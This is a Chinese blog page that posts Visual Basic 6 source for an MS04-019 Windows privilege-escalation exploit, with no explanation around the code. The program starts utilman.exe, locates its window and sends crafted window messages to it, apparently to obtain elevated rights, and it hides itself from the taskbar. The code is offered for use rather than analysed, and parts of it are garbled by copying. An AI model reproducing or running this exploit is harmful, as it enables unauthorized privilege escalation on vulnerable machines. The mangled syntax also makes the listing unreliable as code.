Ms-0419 权限提升 代码

 
VERSION  5.00
Begin VB.Form Form1 
   Appearance      
=     0    ' Flat
   BackColor        =     & H80000015 &
   Caption         
=     " MS-04 "
   ClientHeight    
=     1350
   ClientLeft      
=     60
   ClientTop       
=     450
   ClientWidth     
=     1950
   Icon            
=     " Form1.frx " : 0000
   LinkTopic       
=     " Form1 "
   MaxButton       
=     0     ' False
   MinButton        =     0     ' False
   ScaleHeight      =     1350
   ScaleWidth      
=     1950
   StartUpPosition 
=     2    ' 屏幕中心Powered by barenx
End
Attribute VB_Name 
=   " Form1 "
Attribute VB_GlobalNameSpace 
=   False
Attribute VB_Creatable 
=   False
Attribute VB_PredeclaredId 
=   True
Attribute VB_Exposed 
=   False
Option   Explicit
'Powered by barenx
Private   Declare   Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As LongByVal wMsg As LongByVal wParam As LongByVal lParam As LongAs Long
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As LongByVal wMsg As LongByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As StringByVal lpWindowName As StringAs Long
Dim runTime As Long
Dim lHandle As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As LongByVal hWndInsertAfter As LongByVal x As LongByVal y As LongByVal cx As LongByVal cy As LongByVal wFlags As LongAs Long
Private Const SWP_NOSIZE = &H1

Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2

Private Sub Form_DblClick()
Dim i As Long
= 0
lHandle 
= Shell("utilman.exe /start", vbNormalNoFocus)
DoEvents
If lHandle <> 0 Then
    
Do
        Sleep (runTime)
        lHandle 
= FindWindow(vbNullString, "辅助工具管理器")
        i 
= i + 1
    
Loop While lHandle = 0 And i < 8
    
If lHandle <> 0 Then
        PostMessage lHandle, 
&H313, 00
        Sleep (runTime)
        SendMessage lHandle, 
&H365, 01
        
Me.WindowState = 1
    
End If
End If
End Sub


Private Sub Form_Initialize()
runTime 
= GetTickCount()
App.TaskVisible 
= False
End Sub


Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Static ShowOnTop As Boolean
If KeyCode = vbKeyF12 Then
    
If ShowOnTop = False Then
        SetWindowPos 
Me.hwnd, HWND_TOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 00, SWP_NOSIZE
        ShowOnTop 
= True
    
Else
        SetWindowPos 
Me.hwnd, HWND_NOTOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 00, SWP_NOSIZE
        ShowOnTop 
= False
    
End If
    
Me.Show
End If
If KeyCode = vbKeyF11 Then
    
Call Form_DblClick
End If
End Sub


Private Sub Form_Load()
Dim i As Long, j As Long
Sleep (
0)
Me.Width = Screen.Width / 6
Me.Height = Screen.Height / 6
Call Form_KeyDown(vbKeyF12, 0)
Sleep (
0)
= GetTickCount()
runTime 
= i - runTime
End Sub


Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
SetWindowPos 
Me.hwnd, HWND_NOTOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 00, SWP_NOSIZE

If lHandle <> 0 Then
    PostMessage lHandle, 
&H10, 00
End If
Sleep (runTime)
Sleep (
0)
Sleep (runTime)
lHandle 
= FindWindow(vbNullString, "辅助工具管理器")
If lHandle <> 0 Then
    PostMessage lHandle, 
&H10, 00
End If
End Sub


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值